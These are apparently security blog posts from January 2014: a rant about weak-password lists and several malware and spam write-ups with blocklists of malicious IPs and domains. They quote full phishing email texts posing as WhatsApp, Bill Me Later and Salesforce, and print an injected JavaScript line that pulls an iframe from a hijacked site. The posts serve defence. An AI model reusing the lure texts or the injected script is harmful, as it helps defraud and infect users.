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Wednesday, 22 January 2014

Password hand-wringing misses the point

Recently doing the rounds of news outlets is a list compiled by SplashData of weak passwords found in data breaches in 2013. There's nothing wrong with this list, but as ever, the media completely miss the point.

SplashData's list is as follows:


Rank
Password
Change from 2012
1
123456
Up 1
2
password
Down 1
3
12345678
Unchanged
4
qwerty
Up 1
5
abc123
Down 1
6
123456789
New
7
111111
Up 2
8
1234567
Up 5
9
iloveyou
Up 2
10
adobe123
New
11
123123
Up 5
12
admin
New
13
1234567890
New
14
letmein
Down 7
15
photoshop
New
16
1234
New
17
monkey
Down 11
18
shadow
Unchanged
19
sunshine
Down 5
20
12345
New
21
password1
Up 4
22
princess
New
23
azerty
New
24
trustno1
Down 12
25
000000
New


The presence of "adobe123" and "photoshop" as passwords show the influence of the Adobe data breach on the list. Back in 2010 when Gawker was breached, one of the popular passwords was.. you guessed it.. "gawker".

The media has a habit of picking up the wrong point.. they look at a password of "123456" and ask how can anyone be so stupid to use it? But my somewhat NSFW response is what the fuck does it matter?

Almost everything these days requires registration for which you need to supply an email address and password, and often for trivial things. One of the reasons that gawker featured so highly in the Gawker breach was that to the vast majority of users it matters not one jot if someone hacks into their account. The same is true for a lot of Adobe users.. in most cases the accounts are of absolutely no value to an attacker, so it really doesn't matter if you have adobe123 as a password or not.

So, the media (or at least some of it) says that you should choose a secure password such as fJ4C62GY0I8C15D but their advice is misleading because the real problem is password re-use and not the security of the password per se.

Despite the obvious security problems in doing so, many sites store passwords in plain text or in an insufficiently encrypted format. In these cases, it doesn't matter how secure your password is because the attackers will just be able to read it. Even in cases where the password is encrypted, with enough time and/or rainbow tables the password can often be determined, even it is a complex one.

And if you have re-used that email address and password on other sites.. well, you're buggered basically.

In an ideal world, you would have a nicely secure password for each site and you would remember it in your head. But of course, that's practically impossible, so one option is to use a password manager (SplashData themselves make these) to remember them all for you. There are several different password managers available, but of course there is always the possibility that one of these tools might get hacked itself which could be catastrophic for users.

If you don't want to use a password manager, then you'll have to do it the old-fashioned way, and either remember your passwords or store them in some other manner. You should always have a secure and unique password for your web mail, banking/finance, work and major shopping sites. But for all the cruft that you have to register, there's probably little harm in using a password that it easy to remember. Does it matter if the password I use for ranting at the BBC is abc123? Perhaps it doesn't.

But perhaps one problem is that there are simply too many times that you have to create an account in the first place. Sometimes it is nice to come across a retailer (for example) that will allow you to order stuff without creating a damned account.. something that seems to go against the grain, but it does mean that there's one less password to worry about..

Tuesday, 21 January 2014

Something evil on 5.254.96.240 and 185.5.55.75

This malware attack appears to be aimed at German speakers, and is presumably spreading through spam although I don't have a sample of the email message. What I do have is a nasty EXE-in-ZIP payload that masquerades as a bill or other communication from Deutsche Telekom, Vodafone, Fiducia or Volksbank.


URLquery shows one such download in this example, the victim has been directed to [donotclick]gf-58.ru/telekom_deutschland which in turn downloads a ZIP file Rechnungsruckstande_9698169830015295.zip which in turn contains a malicious executable Mitteilung, Rechnungsruckstande 9901169820005294 Telekom Deutschland GmbH vom Januar 2014.exe which has a VirusTotal detection rate of 7/48.


The malware is downloaded from a server at 5.254.96.240 (Voxility, Romania). Sample URLs on this server (according to URLquery and VirusTotal) are:

[donotclick]gdevseesti.ru/telekom_deutschland/
[donotclick]gdevseesti.ru/vodafone_online/
[donotclick]gf-58.ru/telekom_deutschland/
[donotclick]gf-58.ru/volksbank_eg/
[donotclick]goodwebtut.ru/fiducia/
[donotclick]goodwebtut.ru/telekom_deutschland/
[donotclick]goodwebtut.ru/vodafone_online/
[donotclick]mnogovsegotut.ru/fiducia/
[donotclick]uiuim.ru/fiducia/

The Anubis report and ThreatExpert report [pdf] show that the malware calls home to dshfyyst.ru on 185.5.55.75 (UAB "Interneto vizija", Lithunia). There are some other suspect sites on the same server which may be worth blocking (see below).

All these sites are .ru domains registered to the infamous "Private Person" so there are no clues as to their ownership.

Recommended blocklist:
5.254.96.240
gf-58.ru
uiuim.ru
okkurp.ru
gdevseesti.ru
goodwebtut.ru
mnogovsegotut.ru
185.5.55.75
gossldirect.ru
dshfyyst.ru

Update: this appears to be Cridex aka Feodo, read more.

Monday, 20 January 2014

WhatsApp "A friend of yours has just sent you a pic" spam

This fake WhatsApp spam has a malicious attachment:

Date:      Mon, 20 Jan 2014 06:23:28 -0500 [06:23:28 EST]
From:      WhatsApp [{messages@whatsapp.com}]
Subject:      A friend of yours has just sent you a pic

Hey!

Someone you know has just sent you a pic in WhatsApp. Open attachments to see what it is.

� 2013 WhatsApp Inc

Attached to the message is a an archive file IMG9900882.zip which in turn contains a malicious exectuable IMG9900882.exe which has a VirusTotal detection rate of 20/49. The Malwr analysis gives few clues as to what the malware does, other automated analysis tools are inconclusive.

"Thank you for scheduling a payment to Bill Me Later" spam

This fake Bill Me Later spam has a malicious attachment:
Date:      Mon, 20 Jan 2014 14:23:08 +0000 [09:23:08 EST]
From:      Bill Me Later [service@paypal.com]
Subject:      Thank you for scheduling a payment to Bill Me Later

BillMeLater
   
Log in here
       
Your Bill Me Later® statement is now available!

Dear Customer,

Thank you for making a payment online! We've received your
Bill Me Later® payment of $1603.57 and have applied it to your account.

For more details please check attached file

Summary:

Your Bill Me Later Account Number Ending in: 0266

You Paid: $1603.57

Your Payment Date*: 01/20/2014

Your Payment Confirmation Number: 971892583971968191

Don't forget, Bill Me Later is the perfect way to shop when you want more time to pay for the stuff you need. Plus, you can always find great deals and discounts at over 1000 stores. Watch this short, fun video to learn more.

BillMeLater

*NOTE: If your payment date is Saturday, or a holiday, it will take an additional day for the payment to appear on your account. However, you will be credited for the payment as of the payment date.
Log in at PayPal.com to make a payment
Questions:
Do not reply to this email. Please send all messages through the email form on our website. We are unable to respond to account inquiries sent in reply to this email. Bill Me Later is located at 9690 Deereco Rd, Suite 110, Timonium, MD 21093 Copyright 2012 Bill Me Later Inc.

Bill Me Later accounts are issued by WebBank, Salt Lake City Utah

PQW688PP1

Attached is an archive file PP_03357442.zip which in turn contains a malicious executable PP_03357442.exe which has a VirusTotal detection rate of just 4/45. Automated analysis tools [1] [2] show an attempted connection to jatit.org on 72.9.158.240 (Colo4, US) which appears to be a legitimate (but presumably compromised) site.

Thursday, 16 January 2014

"ACTION REQUIRED: A document has arrived for your review/approval (Document Flow Manager)" spam

This spam with a lengthy subject has a malicious attachment:

Date:      Thu, 16 Jan 2014 09:39:28 -0600 [10:39:28 EST]
From:      "support@salesforce.com" [support@salesforce.com]
Subject:      ACTION REQUIRED: A document has arrived for your review/approval (Document Flow Manager)
Priority:      High Priority 2

This message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.

Record ID: HJRQY9PSXBSK334

Supplier: http://[victimdomain.com]

Invoice No.: 5644366804

Document No.: 3319683775

Invoice amount: USD 0488.21

Rejection reason(s): Approval Required
Please find enclosed a record of invoice that could not be processed. We would like to ask you to assist us in resolving the noted rejection reasons. 
Attached is a file SFHJRQY9PSXBSK334.zip which in turn contains a malicious executable SF.EXE which has an icon that makes it look like a PDF file. This file has a very low detection rate at VirusTotal of 2/48. The Malwr analysis shows an attempted connection to centrum.co.id on 75.98.233.44 (Ceranet, US). This is the only site on that server, blocking either the IP or domain might be useful.

Ongoing Fake flash update via .js injection and SkyDrive, Part I

Over the past few days I have seen several cases where legitimate websites have had .js files interfered with in order to serve up something malicious.

Here is a case in point.. the German website physiomedicor.de has been hacked to serve up a fake Flash download, as can be seen from this URLquery report. In this case it's pretty easy to tell what's going on from the URLquery screenshot:


What has happened is that somehow an attacker has altered several .js files on the victim's site and has appened extra code. In this case the code has been appened to [donotclick]www.physiomedicor.de/assets/rollover.js  as follows (click to enlarge):


In this case the code injected tries to load a script from a hijacked site [donotclick]ghionmedia.com/PROjes/goar2RAn.php?id=56356336 but this isn't the first time that I've seen this format of URL injected into a script today as I've seen these other two (also using hijacked sites) as well:

[donotclick]berriesarsuiz.com/ptc84vRb.php?id=117515949
[donotclick]www.karsons.co.uk/qdrX3tDB.php?id=114433444

This second script was found in the high-profile ilmeteo.it hack earlier today, but I've seen it over the past couple of days in other attacks too. The format of the script and method of the attack are too similar to be a coincidence.

This first script [pastebin] identifies itself as coming from Adscend Media LLC .. but of course that's just a comment in the script and could be fake, so let's dig a little deeper.  The key part of this script is a line that says:
document.getElementById('gw_iframe').src = 'http://ghionmedia.com/PROjes/imgfiles/b.html';
..that leads to this script [pastebin] and apart from a load of other stuff you can clearly see another reference to Adscend Media and adscendmedia.com:
    function openpp() {
        //newwindow = window.open("https://adscendmedia.com/pp_click.php?aff=8663&gate=18120&sid=&p=aHR0cDovL3Nob3ctcGFzcy5jb20v", '_blank');
    }

The adscendmedia.com link contains an aff=8663 affiliate ID which indicates that some other party other than Adscend Media LLC may be responsible. This link comes up black when I try to follow it, which might mean a number of things (even the possibility that Adscend Media have terminated the affiliate).

The "other stuff" I mentioned includes a download from skydrive.live.com which is the same thing mentioned in this F-Secure post yesterday. (You can read more about this in Part II)

Adscend Media say that the affiliate was suspended from their network (see the comments below) and they have no control over the code that is showing. Specifically:
..these attacks are not using our advertising services in ANY way. They simply have copied the Javascript code of our content-locking product and used it for their own purposes. Therefore to call this "an Adscend Media ad" is not accurate. In the previous case, there was a commented-out line of Javascript code (where they had replaced our code with their new code), and we were able to see an account number of the person who copied our script, and we suspended the account, however at no point has our real service been used to spread malware. If a person were to copy HTML source code from this page, and use it on a blog that infects users with malware, it would be damaging to your name to repeatedly tie you to something over which you have no control, and that is what is happening here with our company.

You can read part 2 of the analysis here.

Cushion Redirect sites using hijacked GoDaddy domains to block

A very quick write-up about some suspect activity on 194.28.175.129 (BESTHOSTING-AS ON-LINE Ltd, Ukraine) which appears to be hosting some Cushion Redirect domains (explained here) which is being injected into certain sites such as the one in this URLquery report.

A brief examination of the server shows several subdomains of hijacked GoDaddy domains being used for malicious redirects:

d6ld9uir6jgsgasgtfpoff7.yourchicagohummerlimo.com
ht6u1tyyljcketu4b938smf50395383e2197583fa67bd84d474af039.yourbestpartybus.com
770pa3hd21uo1q7wqa5thgh.amateurloginfree.com
d6ld9uir6jgsgasgtfpoff74159538404f0858918145d34c8200d5a7.yourchicagohummerlimo.com
xxctp7yqtwncubsewi6t7pp.yourchicagocarservice.com
63t31l30mdhlep1d0kx82tn70845384049a336c6dc8d7ede92b1d341.yourchicagogranite.com
qxwnnzei6redpxlwbfz1cxg.amateurloginfree.com
ht6u1tyyljcketu4b938smf.amateurloginfree.com
ht6u1tyyljcketu4b938smf50395383e20f64a2782cfdac4ee94285a.yourbestpartybus.com
y1ji3w0l1teth2ydh2k0epj.allgaysitespassfree.com

The hijacked GoDaddy domains in question are:
allgaysitespassfree.com
amateurloginfree.com
yourchicagocarservice.com
yourchicagogranite.com
yourchicagohummerlimo.com
yourbestpartybus.com

A quick look at the Google stats for AS42655 indicate to me personally that blocking 194.28.172.0/22 might be a prudent idea if you don't have any reason to send traffic to Ukrainian sites.